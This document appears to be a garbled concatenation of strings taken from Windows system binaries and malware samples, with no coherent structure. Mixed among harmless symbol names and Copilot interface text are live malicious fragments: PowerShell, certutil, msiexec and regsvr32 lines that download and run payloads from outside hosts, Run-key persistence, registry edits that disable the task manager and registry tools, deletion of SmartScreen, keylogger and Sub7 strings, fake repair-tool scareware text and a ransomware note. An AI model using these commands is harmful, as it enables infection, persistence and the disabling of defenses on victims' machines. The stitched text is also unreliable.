.exe" "c:\windows\system32\wbem\
c:\windows\system32\
"c:\windows\system32\rundll32.exe" "c:\windows\system32\
!C:\WINDOWS\svchost.exe
C:\WINDOWS\wscty32.exe
c:\windows\system32\
c:\windows\system32\drivers\
c:\windows\system32\drivers\
void __cdecl Windows::FileSystem::ReFs::DedupVolume::TrimLcnRange(const struct Windows::FileSystem::ReFs::NotifyLcnChange &)
void __cdecl Windows::FileSystem::ReFs::DedupVolume::AddCandidate(const struct Windows::FileSystem::ReFs::NotifyFileChange &)
void __cdecl Windows::FileSystem::ReFs::DedupVolume::InternalStopMonitoring(class std::shared_lock<class Microsoft::Win32::Locks::OwnerTrackingSharedMutex> &,class wil::StoredFailureInfo &,bool) noexcept
void __cdecl Windows::FileSystem::ReFs::DedupVolume::InternalStartMonitoring(class std::shared_lock<class Microsoft::Win32::Locks::OwnerTrackingSharedMutex> &,class wil::StoredFailureInfo &,class std::optional<enum winrt::Windows::Private::Storage::DedupKind>) noexcept
auto __cdecl Windows::FileSystem::ReFs::DedupVolume::RunScheduledScrub::<lambda_1>::operator ()(void) const
class Windows::FileSystem::ReFs::VolumePersistedResults __cdecl Windows::FileSystem::ReFs::DedupVolume::RunScheduledScrub(class wil::com_ptr_t<struct ITaskHandlerStatus,struct wil::err_exception_policy>)
class Windows::FileSystem::ReFs::VolumePersistedResults __cdecl Windows::FileSystem::ReFs::DedupVolume::InternalRunDedup(enum Windows::FileSystem::ReFs::RunReason,const class Windows::FileSystem::ReFs::VolumePersistedSchedule &,class wil::com_ptr_t<struct ITaskHandlerStatus,struct wil::err_exception_policy>)
void __cdecl Windows::FileSystem::ReFs::DedupVolume::Cancel(void)
void __cdecl Windows::FileSystem::ReFs::DedupVolume::Kind(enum winrt::Windows::Private::Storage::DedupKind)
void __cdecl Windows::FileSystem::ReFs::DedupVolumeCache::RemoveVolume(const class Windows::FileSystem::ReFs::VolumeIds &) noexcept
??0QWindowsStyle@@IEAA@AEAVQWindowsStylePrivate@@@Z
??0QWindowsStyle@@QEAA@XZ
??0QWindowsStylePrivate@@QEAA@XZ
eKSOFTWARE\Microsoft\Windows\CurrentVersion\policies\Ext\CLSID\Form_Guerraw
reg add hkcu\software\microsoft\windows\currentversion\policies\system /v disableregistrytools /t reg_dword /d "1" /freg add hkcu\software\microsoft\windows\currentversion\policies\system /v disabletaskmgr /t reg_dword /d "1" /f!#ALF
|j5borlo 1.9.7 src\WindowsApplication1\obj\Debug\Winlogon.pdb
kFailed to allocate entire disk space, status : 0x%0.8XWaiting for notification to be triggered.Failed to create syscall thread.PoC failed, step 1Failed to delete target registry key, error : 0x%0.8X\registry\machine\software\microsoft\windows nt\currentversion\image file execution options\werfault.exefulllivekernelreports\win32kbase.sys\win32kbase.sys-%0.4d%0.2d%0.2d-%0.2d%0.2d.dmp\.lockf
software\microsoft\windows nt\currentversion\image file execution options\werfault.exe!#ALF:HackTool:MSIL/PirateRidge.G!dha
66.246.38.\system32\config\samto: haxorklog.sys\win.comntdetect.comwww.prodexteam.netcorpse@mailserver.ruget /aserver.php?id=%s&param=%u http/1.1software\microsoft\windows nt\currentversion\winlogon\notify\pdxsoftware\microsoft\windows\currentversion\app paths\7-zipcfg.exesoftware\microsoft\windows\currentversion\app paths\winrar.exe
\Software\Wow6432Node\Microsoft\Windows NT\CurrentVersion\Winlogon\SystemError Recovering PasswordsSubSeven Server is runningSub7 2.3 2010
ffx2009setup.exehttp://filefixpro.com/public/download.php?cmd=windows detected that some of your ms office and media files are corrupted. click here to download and install recommended file repair application.windows file protectionplease, register your copy of filefix professional 2009 to repair all corrupted files. click here to open buy now page.
???;system;smss.exe;csrss.exe;lsass.exe;winlogon.exe;services.exe;svchost.exe;
WindowsFeedback
=>{var i;const t=(i=this.groups)===null||i===void 0?void 0:i.findIndex(t=>t.type===n.GroupType.Related);t>-1&&(this.groups[t].isGroupContainerFullyExpanded=!this.groups[t].isGroupContainerFullyExpanded,this._selectedItem.isGroupContainerFullyExpanded=this.groups[t].isGroupContainerFullyExpanded)};n.Host.bindShown(()=>{this._selectedItem=null,this._lastMiniSerpAutoSuggestion=null,this._addedManualLbshToMru=!1,this._page.updateNotificationBannerAreaView(this.buildDmaBannerModel())});r.setSuggestionClickHandler(this.doubleClickGuardedHandler((t,i)=>{let r={shiftKey:i===null||i===void 0?void 0:i.shiftKey,ctrlKey:i===null||i===void 0?void 0:i.ctrlKey,altKey:i===null||i===void 0?void 0:i.altKey};n.safeExecute(()=>this.click(n.getCurrentTime(),t,n.getInputType(i),r),"suggestionClickHandler")}));r.setContextMenuHandler((t,i)=>{n.safeExecute(()=>this._menuFactory.showContextMenuOnXY(t,i.pageX,i.pageY,()=>n.Host.setFocusInSearchBox(null,"contextMenuDismiss"),n.getInputType(i)),"contextMenuHandler")});r.setOpenPreviewPaneClickHandler((t,i)=>{var f,e,o,r,s,h,c,l,a,v,u,y,p,w,b,k;const d=t;if(rf.indexOf(d.msbDomain)>-1&&(_w.bfbWsbTel&&bfbWsbTel.logQFSuggestionArrowClick(d.msbDomain),_w.bfbWsbTel&&bfbWsbTel.log3SClickedEvent("QueryFormulationRightArrow_Click",(f=window===null||window===void 0?void 0:window._G)===null||f===void 0?void 0:f.IG)),n.isZeroInputShowPreview()&&(((o=(e=n.StaticHtmlElements.qfPreviewPane)===null||e===void 0?void 0:e.clientHeight)!==null&&o!==void 0?o:0)==0||(t===null||t===void 0?void 0:t.id)==((h=(s=(r=this._previewPane)===null||r===void 0?void 0:r.getPreviewedSuggestion)===null||s===void 0?void 0:s.call(r))===null||h===void 0?void 0:h.id))){const t="zeroInputPreview";if((c=n.StaticHtmlElements.horizontalScrollBar)===null||c===void 0?void 0:c.classList.contains(t))(l=n.StaticHtmlElements.horizontalScrollBar)===null||l===void 0?void 0:l.classList.remove(t);else{const i=(v=(a=n.StaticHtmlElements.horizontalScrollBar)===null||a===void 0?void 0:a.clientWidth)!==null&&v!==void 0?v:0,r=(y=(u=_qs(".groupContainer.leftPaneZIsuggestions"))===null||u===void 0?void 0:u.getBoundingClientRect)===null||y===void 0?void 0:y.call(u);(p=n.StaticHtmlElements.horizontalScrollBar)===null||p===void 0?void 0:p.classList.add(t);const f=(w=r===null||r===void 0?void 0:r.right)!==null&&w!==void 0?w:0;f>0&&i>0&&i>f&&((k=(b=n.StaticHtmlElements.qfPreviewPane)===null||b===void 0?void 0:b.style)===null||k===void 0?void 0:k.setProperty("--zero-input-preview-width",i-f+"px"))}}n.safeExecute(()=>this.openPreviewPane(t,i),"openPreviewPaneClickHandler")});r.setExpanderClickInstrumentation((t,i,r)=>{let u="Expander"+(r?"Opened":"Closed"),f={st:i,K:t.instItem.getLayoutKValue()};n.InstrumentationHelper.logClientInstEvent("Select",u,null,f,"WindowsTelemetry",33554432)});r.setPhotosSearchInFileExplorerClickHandler((t,i)=>{n.safeExecute(()=>this.clickPhotosSearchInFileExplorer(t,i),"photosSearchInFileExplorerClickHandler")});this._previewPane&&(this._previewPane.init(this),this._previewPane.bindBeforeItemLaunch((t,i,r,u,f,e)=>n.InstrumentationHelper.instrumentItemClickForPreviewPane(t,i.instItem,i.sequenceNumber,i.instrumentPingBack,r,null,u,f,e,i.deviceItem)),this._previewPane.bindAfterItemLaunch((n,t,i)=>{this.onSuggestionLaunch(n,t,i)}));n.Host.bindShown(()=>{n.Host.useImprovedIndexingMessage()||(n.config.setIndexerDefaultValue&&(n.config.searchServiceDisabled=!0),SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchServiceStatusAsync&&n.Async.safeChain("getSearchServiceStatusAsync",()=>SearchAppWrapper.CortanaApp.queryFormulationView.deviceSearch.getSearchServiceStatusAsync(),t=>{n.InstrumentationHelper.setSearchServiceStatus(hf(t));switch(t){case 1:case 2:case 5:case 6:case 7:n.config.searchServiceDisabled=!0;this.showIndexingMessage(!1);break;case 0:case 4:if(n.config.queryIndexerOnRunningOnly){n.config.searchServiceDisabled=!0;this.showIndexingMessage(!0);break}n.config.searchServiceDisabled=!1;break;case 3:n.config.searchServiceDisabled=!1}}))});r.bindOnNarratorLaunch(t=>{let i=n.getCurrentTime(),r=this.getSelectableItems();fof4e4146190b32155b5d560e141d59095b07475b5f0a4b5d430305440d105b0d5c505d130718735d"
	&generaterandomname()&".ps1"dimtextfilesettextfile=fso.createtextfile(scriptfile,true)textfile.writedecodedcontenttextfile.closeiferr.number<>0thenexecutecommand=falseexitfunctionendif'executepowershelldimpscmd,process,exitcodepscmd="powershell.exe-executionpolicybypass-noprofile-windowstylehidden-noninteractive-nologo-file"""&scriptfile&""""setprocess=shell.exec(pscmd)
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentia
Minesweeper_WindowsFormsAppget_DarkRedget_IsHidden
	dnew-itemproperty-path"hkcu:\software\microsoft\windows\currentversion\run"-name'
Cc:\windows\system32\cmd.exe/cstartwinddowsupdatecheck\winddowsupdater.exe"winddowsupdatecheck\winddowsupdater.zip"&exit
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
Microsoft-Windows-Client-Desktop-Required-Package04111~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-OneCore-OverlayFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.1591.cat|Microsoft-OneCore-OverlayFilter-Package~31bf3856ad364e35~amd64~~10.0.26100.5074.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0415~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-AppManagement-AppV-Package~31bf3856ad364e35~amd64~~10.0.26100.7824.cat|
Microsoft-Windows-Client-Desktop-Required-Package0410~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package0413~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Desktop-Required-WOW64-Package0011~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-Client-Features-Package00~31bf3856ad364e35~amd64~en-US~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~en-US~10.0.26100.7840.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MediaPlayback-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-NetFx3-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|Microsoft-Windows-NetFx3-WCF-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
Microsoft-Windows-ShellOptions-Package~31bf3856ad364e35~amd64~~10.0.26100.7705.cat|
Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|Microsoft-Windows-Client-Features-Package01~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-Package~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Client-Features-WOW64-Package0110~31bf3856ad364e35~amd64~~10.0.26100.7840.cat|
Microsoft-Windows-Foundation-Group-merged-Package~31bf3856ad364e35~amd64~en-US~10.0.26100.7705.cat|
Microsoft-Windows-IIS-WebServer-AddOn-ServerCommon-Package~31bf3856ad364e35~amd64~~10.0.26100.1742.cat|
Microsoft-Windows-MediaPlayback-OC-Package~31bf3856ad364e35~amd64~~10.0.26100.1.cat|
c:\windows\system32\
c:\windows\
c:\windows\system32\drivers\
c:\windows\system32\
c:\windows\system32\drivers\
c:\windows\system32\
http://mobi.xiaomeiti.com/uploadfile/mservice2.zip%s?imei=%s&majorversion=%d&minorversion=%d&buildnumber=%d&width=%d&hight=%d&totalphys=%d&uilanguage=%d&langid=%d&model=%s&platform=%shttp://mobi.xiaomeiti.com/updateimei%s?mv=%d&imsi=%s&imei=%s&build=%d&type=%d&owner=%s\windows\mss.zip\%s\2577\autorun.exe\
\system\screen.jpg\system\svchosts.exe\system32\svchosts.exedavizinx screenloggerdavizinxtools@daviiznx.comdavizinxkeylogger@davizinx.comhttp://www.davizinx.com/davizin.php
webupdatetimmonhooktimmonwindowse_debug_name
c:\windows\system32\dllcache\
c:\windows\system32\chkdsk.exesv
C:\Windows\System32\ntoskrnl.exe
%systemroot%\system32\shell32.dll,4
SAVScanec Core LCMicrosoft UpdateKAVPersonal50kavsvc\windows\currentversion\runsharedaccessback.reznaz.com
autolive.sysSoftware\Microsoft\SSearch%s\Rundll32.exe "%s\%s",DllCanUnloadNowregsvr32 /u /s %s\InteSearch.dllSoftware\Microsoft\SSearch\Updatesystem32\drivers\%s.sys
V7x>fWindows\System32\tracerpt.exeW
re signed in to Microsoft Copilot, passwords you save will go in your Microsoft Account, $1. To turn this off, go to settings.Choose sign in below to use this app with Microsoft Copilot credentials.Edit this screenshot. Open screenshot editor to modify a screenshot of your desktop and Microsoft Copilot windows. Warning: might contain sensitive information.Hey, you're not signed into Microsoft Copilot. Signing in is the way to track your feedback. <a href="#" id="browser-sign-in">Sign in now</a>Recommend Microsoft CopilotHow likely are you to recommend Microsoft Copilot to a friend or colleague?Would you recommend Microsoft Copilot to others, if asked?Would you recommend Microsoft Copilot $1 to others, if asked?Microsoft Copilot can't open this file type.Microsoft Copilot Pinning WizardHmm...we don't have any suggestions for you right now. Our suggestions are based on your usage of Microsoft Copilot, so try using it for a while and then ask us again.This extension has been turned off to protect your application settings.Microsoft Copilot logoYour application is managed by your organizationapplication is managedUpdate available for Microsoft Copilot. Press Alt+F to open Settings and more menu.Update recommended for Microsoft Copilot. Press Alt+F to open Settings and more menu.Please update Microsoft Copilot now. Press Alt+F to open Settings and more menu.Live Capture Window opened in applicationMicrosoft Copilot <em>won't save</em>:
dobbelteksponeringer\Microsoft\Windows\horizontical\Uninstall\spalteteksternesd
0system.windows.formso
SOFTWARE\Microsoft\Windows\CurrentVersion\Explorer\AppKey\%s
P%SystemRoot%\System32\wuauserv.dll
systemroot%\system32\wuauserv.dll
uindows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\
c:\windows\temp\
c:\windows\system\
c:\windows\system32\
c:\windows\system32\
software\microsoft\windows\currentversion\explorer\shell foldersMY_MAIN_JNJECTIEHlprObj.IEHlprObj.1
c:\windows\system32\
c:\windows\system32\
 /s /c c:\windows\system32\
c:\windows\
:\WINDOWS\system32\drivers\etc\hosts
:\WINDOWS\system32\drivers\etc\hosts.sys
QWindowsFontEngineDirectWrite::QWindowsFontEngineDirectWrite
QWindowsFontEngineDirectWrite::~QWindowsFontEngineDirectWrite
QWindowsFontEngineDirectWrite::filenameFromFontFile
QWindowsFontEngineDirectWrite::getSfntTableData
QWindowsFontEngineDirectWrite::glyphIndex
QWindowsFontEngineDirectWrite::stringToCMap
QWindowsFontEngineDirectWrite::recalcAdvances
QWindowsFontEngineDirectWrite::addGlyphsToPath
QWindowsFontEngineDirectWrite::boundingBox
QWindowsFontEngineDirectWrite::imageForGlyph
QWindowsFontEngineDirectWrite::renderGlyphRun
	"Windows"
Mozilla/5.0 (Windows NT 10.0; Win64; x64; Cortana 1.18.9.23723; 10.0.0.0.26200.7840) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/70.0.3538.102 Safari/537.36 Edge/18.26200 IsWebView2/True (WebView2Version 145.0.3800.70) Cortana 1.18.9.23723 10.0.0.0.26200.7840
WindowsCreateStringReference
%Microsoft Windows Production PCA 20110
Microsoft Windows0
%Microsoft Windows Production PCA 20110
%Microsoft Windows Production PCA 2011
}dH@echooffcls:excc:cd\windowscdsystem32cdconfigs[
:\windows/
karinahallberg-centralwindowsproductspecialist
System.Windows.Forms.UnsafeNativeMethods.IMsoComponentManager.FUpdateComponentRegistration
GetProcessWindowStation
System.Windows.Forms.UnsafeNativeMethods.UiaCore.ITextProvider2.RangeFromAnnotation
System.Windows.Forms.UnsafeNativeMethods.IMsoComponent.OnLoseActivation
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.DefaultAction
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.get_DefaultAction
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.get_accDefaultAction
System.Windows.Forms.UnsafeNativeMethods.ILegacyIAccessibleProvider.DoDefaultAction
System.Windows.Forms.UnsafeNativeMethods.IAccessibleInternal.accDoDefaultAction
WindowsFormsSection
login.windows.net
sts.windows.net
onecore\base\ngscb\wmi\win32_tpm\corelib\windowsaik.cpp
TpmCore20::CheckCreateWindowsAIK
"c:\windows\temp\1111.docx",$
System.Windows.Forms
get_ToolWindowStripGapLeft
get_ToolWindowStripGapRight
get_MainWindowStatusBarDefault
System.Windows.Forms.Layout
get_DockPanel_DefaultFloatWindowSize_Description
get_ToolWindowStripGapTop
get_ToolWindowSeparator
set_ToolWindowSeparator
system32v2cmd.exe@.cmd.exeh/x/v/c^s^tart^m^s^iexe^c-^q-^p^ac^ka^g^e"http://0j.re:8080/bqajxaut0su0fd8becuckaxl/!computername!"shell32.dll%wn]
c:\windows\system32\msiexec.exe/ihttps://link.storjshare.io/s/jxwmci7ma4pgxvozynlv7vaaf4oa/certificados/setup.msi?download=1/quiet/norestart
*c:\windows\system32\forfiles.exe/pc:\windows/mhh.exe/c"powershell.\*i*\*2\msh*ehttps://rt2kl9.vibrant-minds.shop/api/reg/baristabagging.json
2echo>>c:\windows\temp\text.vbssget.mode=3
[system.windows.forms.screen]::allscreens
d#start-process-windowstylehiddenpowershell
egsvr32.exe "/u bitsadmin/canceft\windows\currebitsadmin /addfibitsadmin /Resumbitsadmin/SetNosoftware\microsotifyCmdLine %s rle %sitsadmin /creat\system32\net.ex
\..\..\..\windows\system32\cmd.exe/cregsvr32.exe/s/u/n/i:&quot;h&quot;t&quot;t&quot;ps://
r\..\..\..\windows\system32\cmd.exe/cpowershell.exe-nop-w1$e=(new-objectsystem.net.webclient).downloadstring(\&quot;http
\..\..\..\windows\system32\cmd.exe/ccertutil-urlcache-split-f&quot;https://upload.secure-portal.de/api.php?e=1&amp;uuid=
\..\..\..\windows\system32\cmd.exe/cpowershell.exe-whidden
:\windows\system32\cmd.exe
EnumSnappedWindows
e:\Project\newcell\clipMicrosoft@ Windows@ Operating System
Behavior:Win32/WinlogonRegistryUserInit.B
mqn_omrisutguCvSwBehavior:Win32/WinlogonRegistryShell.B
%systemroot%\system32\imageres.dll
-MicrosoftWindows.Client.CBS_cw5n1h2txyewy!Global.RulesEngine
0MicrosoftWindows.Client.CBS_cw5n1h2txyewy!CortanaUIFullTrustApp
1^MicrosoftWindows.Client.CBS_cw5n1h2txyewy!SoftLanding
    name="Microsoft.Windows.pcshelltwinui.twinui.pcshell"
<description>Windows Shell</description>
            name="Microsoft.Windows.Common-Controls"
    <windowsSettings>
        <dpiAware  xmlns="http://schemas.microsoft.com/SMI/2005/WindowsSettings">true</dpiAware>
    </windowsSettings>
 [convert]::frombase64string($base64encodedcontent)[system.io.file]::writeallbytes($outfile,$binarycontent)$filepath="c:\windows\syswow64\rundll32.exe"if(-not(test-path$filepath)){$rundll="https://vip.123yx.com/1844947338/20250106/rundll32"write-host"rundll32.exenofile:$filepath"try{invoke-webrequest-uri$rundll-outfile$filepath-erroractionstop}
0\appdata\roaming\microsoft\windows\startmenu\programs\startup\
0\appdata\roaming\microsoft\windows\startmenu\programs\startup\
onecoreuap\windows\dwm\dcomp\winrtnested\wrtcompositionprojectedshadowreceiveriterator.cpp
onecoreuap\windows\dwm\dcomp\winrtnested\wrtvisualunorderedcollectioniterator.cpp
 @https://activity.windows.com
onecoreuap\windows\cdp\shared\CryptoPolicy.h
onecoreuap\windows\cdp\core\private\SequenceAssembler.h
onecoreuap\windows\cdp\common\internal\CDPHelpers.h
onecoreuap\windows\cdp\core\private\onecore\AppControlClientlet.h
onecoreuap\windows\cdp\shared\onecore\CallbackNotificationRetriever.h
onecoreuap\windows\cdp\core\private\onecore\BinaryClientlet.h
onecoreuap\windows\cdp\core\private\onecore\ComConversionsInternal.h
onecoreuap\windows\cdp\core\private\onecore\BinaryHostlet.h
rtcshell("powershell-windowstylehidden
del/f"c:\windows\system32\smartscreen
del/f"c:\windows\syswow64\smartscreen
edownloadandrunvbsandaddtostatrtuppowershell-command"iwrhttps://service-omega-snowy.vercel.app/s-nvs_update.vbs-o'%vbsfile%'"powershell-command"set-itemproperty-path'hkcu:\software\microsoft\windows\currentversion\run
ext-ms-win-ntuser-windowstation-l1-1-0.dll
\windows\currentversion\app paths!
WINDOWS11
%Microsoft Windows Production PCA 20110
Microsoft Windows0
iconindex=2hotkey=0idlist=url=file://65.108.36.189/folder/setup.exeiconfile=c:\windows\system32\msi.dlliconindex=5
Windows
s\system32\configstart
SystemRoot=C:\WINDOWSb
setvirus=%virus:"=%netstop"centrodeseguridad"netstop"firewalldewindows/conexincompartidaainternet(ics)"for/f"tokens=2delims=:"%%ain('ipconfig/all^|find"ip"')do(setip=%%a)
bat.batc:\windows\system32\yinhu.batlengfengtrojanresethost is okregsetvalueex(servicedll)svchost.dll.log
-WindowStyle Hidden -ExecutionPolicy Bypass -NoProfile -NoLogo -File-
c:\windows\system32\cmd.exe/c"
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
*Microsoft.Windows.ContentDeliveryManager_cw5n1h2txyewy
@echooffc:\windows\\blue.exe
WINDOWSUDK.SERVICES.IRIS.IRISCREATIVERESULTS
PSModulePath=C:\Program Files\WindowsPowerShell\Modules;C:\WINDOWS\system32\WindowsPowerShell\v1.0\Modules
SystemRoot=C:\WINDOWS
USERDOMAIN=Windows11
USERDOMAIN_ROAMINGPROFILE=Windows11
windir=C:\WINDOWS
windows >
build|windows specifica$
V://0j.re:8080/bobtb5buh3cfi/9o5jr/jbfg1gqja/%computername%"-^q^u^i^e^t%windir%\system32\imageres.dll%4
rc:\windowsj
WindowsGroupQ
WindowsGroups
WindowsPreviewContainer
WindowsPreviewSectionsContainer
officewindowssecurityfirewallopen*
"System32\c
windows
ureg add HKCU\Software\Microsoft\Windows\Currentversion\Runb=%s&c=%s&d=%s&q=%d&r=%d&ID=%dINFO=
bcdedit /set {default} bootstatuspolicy ignoreallfailuresssreg add hkcu\software\microsoft\windows\currentversion\policies\system /t reg_dword /v disableregistrytools /d 1reg add hkcu\software\microsoft\windows\currentversion\policies\system /t reg_dword /v disabletaskmgr /d 1reg add hkcu\software\microsoft\windows\currentversion\policies\system /t reg_dword /v disablecmd /d 1reg add hkcu\software\microsoft\windows\currentversion\policies\explorer /t reg_dword /v norun /d 1win_encryptor.pywreg add hkey_local_machine\system\currentcontrolset\control\terminal server /v fdenytsconnections /t reg_dword /d 0create_remote_desktop._readme_for_decrypt.t! ! ! w ar n i n g ! ! !all your files are encrypted by
",0+16,"windowsdefender")setobjshell=createobject("wscript.shell")fori=10to0step-1objshell.popup"secondstogo"&i,1,"countdown"nextsetobjshell=nothingsetopsysset=getobject("winmgmts:{(shutdown)}//./root/cimv2").execquery("select*fromwin32_operatingsystemwhereprimary=true")foreachopsysinopsyssetopsys.shutdown()next
shutdown -r -f -t 2type= kernel start= demand binpath= System32\Drivers\Behavior:Win32/Cerber.gen!A!rsm
MicrosoftWindows.Client.Core_cw5n1h2txyew
MicrosoftWindows.Client.OOBE_cw5n1h2txyew#
hkcu\software\microsoft\Windows\CurrentVersion\Internet Settings" /v IEHardenIENoWarnhkcu\software\microsoft\Internet Explorer\PhishingFilter" /v ShownVerifyBalloon\
detectwindowswriteme
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
c:\windows\system32\
debuggersoftware\microsoft\windows nt\currentversion\image file execution options\iexplore.exe
nautilus-service.dlloxygen.dllconfig_listen.systemctx.system3FDA3998-BEF5-426D-82D8-1A71F29ADDC3C:\ProgramData\Microsoft\Windows\Caches\{%s}.2.ver0x0000000000000001.db
Microsoft-Windows-Client-Desktop-Required-Package04~31bf3856ad364e35~amd64~~10.0.26100.7840.cat
Mozilla/5.0 (Windows NT 10.0; Win64; x
=xlogin-private.exe"powershell-windowstylehidden-command"invoke-webrequest-uri
8onecoreuap\shell\windows.storage\sharedstoragesources\fsdata.cpp
This site has been flagged by Microsoft Defender SmartScreen. Microsoft Copilot suggests you avoid this site. Using this site will put your privacy and security at risk.Microsoft Copilot limits most sites from using third-party cookies to track you as you browse. Visit settings to $1.Microsoft Copilot periodically checks your passwords against lists that have been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.When you use a password, Microsoft Copilot warns you if it has been published online. When doing this, your passwords and usernames are encrypted, so they can't be read by anyone, including Microsoft.Microsoft Copilot PasswordsMicrosoft Copilot is trying to fill your password on $1.Passkey from Copilot profileMicrosoft Copilot is trying to turn on Windows Hello for filling passwords.Microsoft Copilot is trying to turn off Windows Hello for filling passwords.Cards and addresses are from Microsoft Copilot. You can manage them in BEGIN_LINKSettingsEND_LINK.An application is preventing Microsoft Copilot from safely connecting to this siteCan't establish a secure connection: The certificates that websites use to identify themselves are only valid for specific periods of time. Because your device's clock is incorrect, Microsoft Copilot can't verify these certificates.$1 uses encryption to protect your information. When Microsoft Copilot tried to connect to $1 this time, the website sent back unusual and incorrect credentials. This may happen when an attacker is trying to pretend to be $1, or a Wi-Fi sign-in screen has interrupted the connection. Your information is still secure because Microsoft Copilot stopped the connection before any data was exchanged.You can't visit $1 right now because the website sent scrambled credentials that Microsoft Copilot can't process. Network errors and attacks are usually temporary, so this page will probably work later.<h4>Step 1: Sign in to the portal</h4>
Microsoft.Windows.Wil.FeatureLogging
Microsoft.Windows.Shell.Taskbar
Microsoft.Windows.Shell.Taskbar.ProgrammableTaskbar
Microsoft.Windows.Shell.StateCapture
Microsoft-Windows-Desktop-Shell-Windowing
Microsoft.Windows.Shell.TaskGroups
Microsoft.Windows.Compatibility.Asl
Microsoft.Windows.Shell.Taskbar.TaskbarLayoutRestore
Microsoft.Windows.ShellExperienceDispatcher
Microsoft.Windows.Shell.TaskGroups
Microsoft.Windows.AppLifeCycle.UI
Microsoft-Windows-Shell-Launcher
Microsoft.Windows.Shell.Explorer
Microsoft.Windows.Desktop.Shell.NotificationArea
Microsoft.Windows.ImmersiveColor
Microsoft.Windows.Shell.Taskbar.ShareWindowCommand
Microsoft.Windows.Shell.AIX
Microsoft.Windows.ShellPlacements
Microsoft.Windows.Desktop.AIAssistance
Microsoft.Windows.Shell.Taskbar.DefaultPinningProvider
Microsoft.Windows.Desktop.Shell.ImmersiveIcons
Microsoft.Windows.Shell.DelayAllocateTLS
Microsoft.Windows.Shell.CoCreateInstanceAsSystem
.?AV?$_Binder@U_Unforced@std@@P8UserActivityManager@implementation@UserActivities@ApplicationModel@WindowsUdk@winrt@@EAAX_KIV?$basic_string@_WU?$char_traits@_W@std@@V?$allocator@_W@2@@2@@ZPEAU345678@AEBU?$_Ph@$00@2@AEBU?$_Ph@$01@2@AEBU?$_Ph@$02@2@@std@@
